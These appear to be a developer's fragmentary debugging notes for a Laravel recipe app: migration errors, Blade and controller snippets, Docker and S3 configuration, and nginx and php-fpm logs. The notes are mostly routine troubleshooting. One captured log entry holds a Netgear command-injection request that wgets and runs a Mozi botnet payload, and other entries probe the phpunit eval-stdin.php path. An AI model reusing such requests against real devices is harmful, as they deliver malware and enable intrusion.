Illuminate\Database\QueryException  : SQLSTATE[42S01]: Base table or view already exists: 1050 Table 'recipes' already exists 以下略

php artisan migrate:fresh

docker-compose exec app php artisan migrate:fresh

Dropped all tables successfully.
Migration table created successfully.
Migrating: 2014_10_12_000000_create_users_table
Migrated:  2014_10_12_000000_create_users_table (0.09 seconds)
Migrating: 2014_10_12_100000_create_password_resets_table
Migrated:  2014_10_12_100000_create_password_resets_table (0.04 seconds)
Migrating: 2019_08_19_000000_create_failed_jobs_table
Migrated:  2019_08_19_000000_create_failed_jobs_table (0.02 seconds)
Migrating: 2021_09_19_094126_create_recipes_table
Migrated:  2021_09_19_094126_create_recipes_table (0.11 seconds)
Migrating: 2021_09_20_113027_create_likes_table
Migrated:  2021_09_20_113027_create_likes_table (0.15 seconds)

  // カテゴリーの一覧を取得するメソッド
  public function getCategories()
  {
      $categories = Category::orderBy('id','asc')->pluck('name', 'id');
      // $categories = Category::orderBy('id', 'asc')->get('name', 'id');
      return $categories;
  }

  public function edit(Recipe $recipe)
  {
      $category = new Category;
      $categories = $category->getCategories();

      $old_category_id = Recipe::find($recipe->id)->categories()->where('recipe_id', '=', $recipe->id)->first();
 }

<div class="form-group col-sm-6">
  <label for="category_id">カテゴリ</label>
  <select class="form-control" name="category_id" >
    
    @foreach ($categories as $id => $name)
    <!-- 変数＄recipeがある時に入る -->
      @if(isset($recipe))
          <option value="{{ $id }}" {{ old('category', $old_category_id->id ?? '') == $id ? 'selected' : ''}}>
              {{ $name }}
          </option>
      @else
          <option value="{{ $id }}" >
            {{ $name }}
          </option>
      @endif
    @endforeach
  </select>
</div>

<?php 
return array(
  '1' => '1人前',
  '2' => '2人前',
  '3' => '3人前',
  '4' => '4人前',
  '5' => '5人前',
  '6' => '6人前',
  '7' => '7人前',
  '8' => '8人前',
  '9' => '9人前',
  '10' => '10人前',
);
?>

  public function create()
  {
     // serving.phpファイルのデータを$servingsに代入
      $servings = config('serving');

      return view('recipes.create', [
          'servings' => $servings,
      ]);

  }

<div class="form-group">
  <select class="form-control" name="serving">
    @foreach ($servings as $serving => $serving_name)
      <option value="{{ $serving }}" {{ old('serving_name', $recipe->serving ?? '') == $serving ? 'selected' : ''}}>
          {{ $serving_name }}
      </option>
    @endforeach
  </select>
</div>

git log

commit ******************************ハッシュ値

git reset --hard ハッシュ値

git push -f origin ハッシュ値:main

MacBook-Pro:spoily skmbp$ docker-compose exec app php artisan migrate:fresh

   Illuminate\Database\QueryException  : SQLSTATE[HY000] [1159] Got timeout reading communication packets (SQL: SHOW FULL TABLES WHERE table_type = 'BASE TABLE')

  at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:669
    665|         // If an exception occurs when attempting to run a query, we'll format the error
    666|         // message to include the bindings with SQL, which will make this exception a
    667|         // lot more helpful to the developer instead of just the database's errors.
    668|         catch (Exception $e) {
  > 669|             throw new QueryException(
    670|                 $query, $this->prepareBindings($bindings), $e
    671|             );
    672|         }
    673| 

  Exception trace:

  1   Doctrine\DBAL\Driver\PDO\Exception::("SQLSTATE[HY000] [1159] Got timeout reading communication packets")
      /var/www/html/vendor/doctrine/dbal/lib/Doctrine/DBAL/Driver/PDO/Exception.php:18

  2   Doctrine\DBAL\Driver\PDO\Exception::new(Object(PDOException))
      /var/www/html/vendor/doctrine/dbal/lib/Doctrine/DBAL/Driver/PDOConnection.php:44

  Please use the argument -v to see more details.

SQLSTATE[HY000] [2002] Connection refused 

services:
  app:
    # ビルドするDockerfileの指定
    build:
      context: .
      dockerfile: ./docker/php/Dockerfile
    volumes:
      - ./src/:/var/www/html
    # 環境変数を設定(.envに紐づく)
    environment:
      - DB_CONNECTION=mysql
      - DB_HOST=db
      - DB_PORT=3306
   #ここがDB_USERになってた臭い…
      - DB_DATABASE=${DB_NAME}
      - DB_USERNAME=${DB_USERNAME}
      - DB_PASSWORD=${DB_PASSWORD}

docker volume ls

docker volume prune

<img src="{{ asset("storage/$recipe->image_path") }}"  width="1000" height="300">

<img src="storage/images/{{$recipe->image_path}}"  width="1000" height="300">

 @if($user->profile_image !== NULL )

LifecycleEvent - AfterInstall
Script - ./src/scripts/after_install.sh
[stderr]+ cd /home/webapp/laravel-ci/src
[stderr]+ php artisan db:seed
[stdout]**************************************
[stdout]* Application In Production! *
[stdout]**************************************
[stdout]
[stdout] Do you really wish to run this command? (yes/no) [no]:
[stdout] > Command Canceled!
[stderr]+ php artisan migrate --force
[stdout]
[stdout]In Connection.php line 669:
[stdout]
[stdout] SQLSTATE[HY000] [2002] Connection refused (SQL: select * from information_s
[stdout] chema.tables where table_schema = forge and table_name = migrations and tab
[stdout] le_type = 'BASE TABLE')
[stdout]
[stdout]
[stdout]In Exception.php line 18:
[stdout]
[stdout] SQLSTATE[HY000] [2002] Connection refused
[stdout]
[stdout]
[stdout]In PDOConnection.php line 40:
[stdout]
[stdout] SQLSTATE[HY000] [2002] Connection refused
[stdout]
[stdout]

[2022-02-08 08:21:45] production.ERROR: View [recipes.searchresult] not found. {"userId":1,"exception":"[object] (InvalidArgumentException(code: 0): View [recipes.searchresult] not found. at /home/webapp/laravel-ci/src/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:137) [stacktrace]

Building db
[+] Building 0.1s (1/2)                                                                                     
 => ERROR [internal] load build definition from Dockerfile                                             0.0s
 => => transferring dockerfile: 79B                                                                    0.0s
------
 > [internal] load build definition from Dockerfile:
------
failed to solve with frontend dockerfile.v0: failed to read dockerfile: error from sender: resolve : lstat /Users/skmbp/spoily/docker/mysql: no such file or directory
ERROR: Service 'db' failed to build : Build failed

production.ERROR: Command (HashName) is not available for driver (Gd). {"userId":1,"exception":"[object] (Intervention\\Image\\Exception\\NotSupportedException(code: 0): Command (HashName) is not available for driver (Gd). at /home/webapp/laravel-c
i/src/vendor/intervention/image/src/Intervention/Image/AbstractDriver.php:123)

 production.ERROR: Can't write image data to path (/home/webapp/laravel-ci/src/storage/public/images/237541141_620d1eec9f200.jpg) {"userId":1,"exception":"[object] (Intervention\\Image\\Exception\\NotWritableException(code: 0): Can't write image data to path (/home/webapp/laravel-ci/src/storage/public/images/237541141_620d1eec9f200.jpg) at /home/webapp/laravel-ci/src/vendor/intervention/image/src/Intervention/Image/Image.php:150)

2022/03/04 17:02:16 [error] 23467#0: *23069 open() "/home/webapp/laravel-ci/src/public/50x.html" failed (2: No such file or directory), client: 175.134.244.77, server: _, request: "POST /recipes HTTP/1.1", upstream: "fastcgi://unix:/ru$

Storage::disk('s3')->put('public/images/'. $filename_to_store, $resized_image);

Storage::disk('s3')->put('public/images/'. $filename_to_store, $resized_image, 'public');

<img src="(config('filesystems.s3.url')/public/images/{{ $recipe->image_path }}" >

<img src="{{ Storage::disk('s3')->url("/public/images/{$recipe->image_path}") }}">

This XML file does not appear to have any style information associated with it. The document tree is shown below.
<Error>
<script/>
<Code>AccessDenied</Code>
<Message>Access Denied</Message>
<RequestId>5H021E68SGC27T7Q</RequestId>
<HostId>M1yfBVumlM802ob+Ne77Zn3yvmUg1HluN7KjYrGHPI61Z8qERT1jqfTMSYSBDjVYxGXn9FNjdRU=</HostId>
</Error>

  $path = Storage::disk('s3')->putFile('public/images/', $resized_image, 'public');
   $form['image_path'] = Storage::disk('s3')->url($path);

[2022-03-14 21:53:12] production.ERROR: Error executing "PutObject" on "//laravel-ci-myprefix./public/images/1597439639_622fb9476111e.jpg"; AWS HTTP error: cURL error 6: Could not resolve host: laravel-ci-myprefix. (see https://curl.haxx.se/libcurl/c/libcurl-errors.html
) for http://laravel-ci-myprefix./public/images/1597439639_622fb9476111e.jpg {"userId":1,"exception":"[object] (Aws\\S3\\Exception\\S3Exception(code: 0): Error executing \"PutObject\" on \"//laravel-ci-myprefix./public/images/1597439639_622fb9476111e.jpg\"; AWS HTTP err
or: cURL error 6: Could not resolve host: laravel-ci-myprefix. (see https://curl.haxx.se/libcurl/c/libcurl-errors.html) for http://laravel-ci-myprefix./public/images/1597439639_622fb9476111e.jpg at /home/webapp/laravel-ci/src/vendor/aws/aws-sdk-php/src/WrappedHttpHandle
r.php:195)
[stacktrace]

[2022-03-14 22:04:21] production.ERROR: Command (HashName) is not available for driver (Gd). {"userId":1,"exception":"[object] (Intervention\\Image\\Exception\\NotSupportedException(code: 0): Command (HashName) is not available for driver (Gd). at /home/webapp/laravel-ci/src/vendor/intervention/image/src/Intervention/Image/AbstractDriver.php:123)

https://s3-ap-northeast-1.amazonaws.com/laravel-ci-myprefix/%7B%22id%22:1,%22name%22:%22/u30b2/u30b9/u30c8/u30e6/u30fc/u30b6/u30fc%22,%22email%22:%22guestuser@test.com%22,%22email_verified_at%22:null,%22profile_image%22:%22public//icons//1987447826_62344fa595a42.png%22,%22self_introduction%22:%22/u3053/u3093/u306b/u3061/u306f%22,%22created_at%22:%222022-01-25%2015:51:49%22,%22updated_at%22:%222022-03-18%2009:23:50%22%7D-%3Eprofile_image

// image_pathにファイル名と取得した拡張子を合体した物を代入する。保存する時に使う$user_form['profile_image'] = 'public/icons/' . $icon_file_name;
// S3のpublic/icons/ディレクトリにオリジナルのファイル名でリサイズした画像をアップロード
Storage::disk('s3')->put('public/icons/'. $icon_file_name, $resized_image);

@if($recipe->user->profile_image !== NULL)
   <img src="{{ Storage::disk('s3')->url("$recipe->user->profile_image") }}" class="rounded-circle" style="object-fit: cover; width: 50px; height: 50px;">
@else
   <img src="{{ Storage::disk('s3')->url("default_icon.png") }}" class="rounded-circle" style="object-fit: cover; width: 50px; height: 50px;">
@endif

// S3のpublic/icons/ディレクトリにオリジナルのファイル名でリサイズした画像をアップロード
$path = Storage::disk('s3')->putFile('public/icons', $file);
// image_pathにS3にアップロードしたパスを保存
$user_form['profile_image'] = Storage::disk('s3')->url($path);

@if($recipe->user->profile_image !== NULL)
   <img src="{{ $recipe->user->profile_image }}" class="rounded-circle" style="object-fit: cover; width: 50px; height: 50px;">
@else
   <img src="{{ Storage::disk('s3')->url("default_icon.png") }}" class="rounded-circle" style="object-fit: cover; width: 50px; height: 50px;">
@endif

[2022-03-14 17:35:17] production.ERROR: View [recipes.searchresult] not found. 
{"userId":1,"exception":"[object] (InvalidArgumentException(code: 0): View [recipes.searchresult] not found. at /home/webapp/laravel-ci/src/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:137)
[stacktrace]

return redirect()->route('recipes.index')->with('flash_message', 'レシピの投稿が完了しました');

2022/05/13 18:04:53 [error] 23467#0: *403302 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 45.9.20.101, server: _, request: "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock:", host: "35.76.49.162:80"
2022/05/13 18:20:50 [error] 23467#0: *403445 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 45.9.20.101, server: _, request: "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock:", host: "35.76.49.162:80"
2022/05/13 18:30:08 [error] 23467#0: *403528 open() "/home/webapp/laravel-ci/src/public/50x.html" failed (2: No such file or directory), client: 172.104.138.223, server: _, request: "GET /fuN3 HTTP/1.0", upstream: "fastcgi://unix:/run/php-fpm/www.sock"
2022/05/13 20:30:27 [error] 23467#0: *404540 open() "/home/webapp/laravel-ci/src/public/50x.html" failed (2: No such file or directory), client: 205.210.31.149, server: _, request: "GET / HTTP/1.0", upstream: "fastcgi://unix:/run/php-fpm/www.sock"
2022/05/13 23:29:12 [error] 23467#0: *406049 open() "/home/webapp/laravel-ci/src/public/50x.html" failed (2: No such file or directory), client: 109.248.6.126, server: _, request: "GET / HTTP/1.0", upstream: "fastcgi://unix:/run/php-fpm/www.sock"
2022/05/14 00:03:33 [error] 23467#0: *406338 open() "/home/webapp/laravel-ci/src/public/50x.html" failed (2: No such file or directory), client: 117.93.46.143, server: _, request: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0", upstream: "fastcgi://unix:/run/php-fpm/www.sock"
~                                                                                                                                         

user = nginx ;webappから変更
group = nginx ;webappから変更

2022/05/18 07:13:16 [crit] 27524#0: *56 connect() to unix:/run/php-fpm/www.sock failed (13: Permission denied) while connecting to upstream, client: 172.18.7.203, server: _, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock:", host: "172.18.3.196"

2022/05/18 07:13:13 [error] 27524#0: *54 open() "/home/webapp:/public/50x.html" failed (2: No such file or directory), client: 172.18.3.99, server: _, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock", host: "172.18.3.196"

fastcgi_param  SCRIPT_FILENAME $realpath_root$fastcgi_script_name;

fastcgi_param  SCRIPT_FILENAME $document_root$fastcgi_script_name;

fastcgi_param  SCRIPT_FILENAME $realpath_root$fastcgi_script_name;

listen = /run/php-fpm/www.sock;

listen = /var/run/php-fpm/www.sock;

2022/05/19 15:24:50 [error] 11818#0: *13 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 172.18.7.203, server: _, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock:", host: "172.18.3.196"

2022/05/19 15:24:57 [error] 11818#0: *7 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 172.18.3.99, server: _, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock:", host: "spoily.link"

server {
        listen       80 default_server;
        listen       [::]:80 default_server;
        server_name  spoily.link;
-      root   /home/webapp:/public;
+     root   /home/webapp/laravel-ci/src/public;

}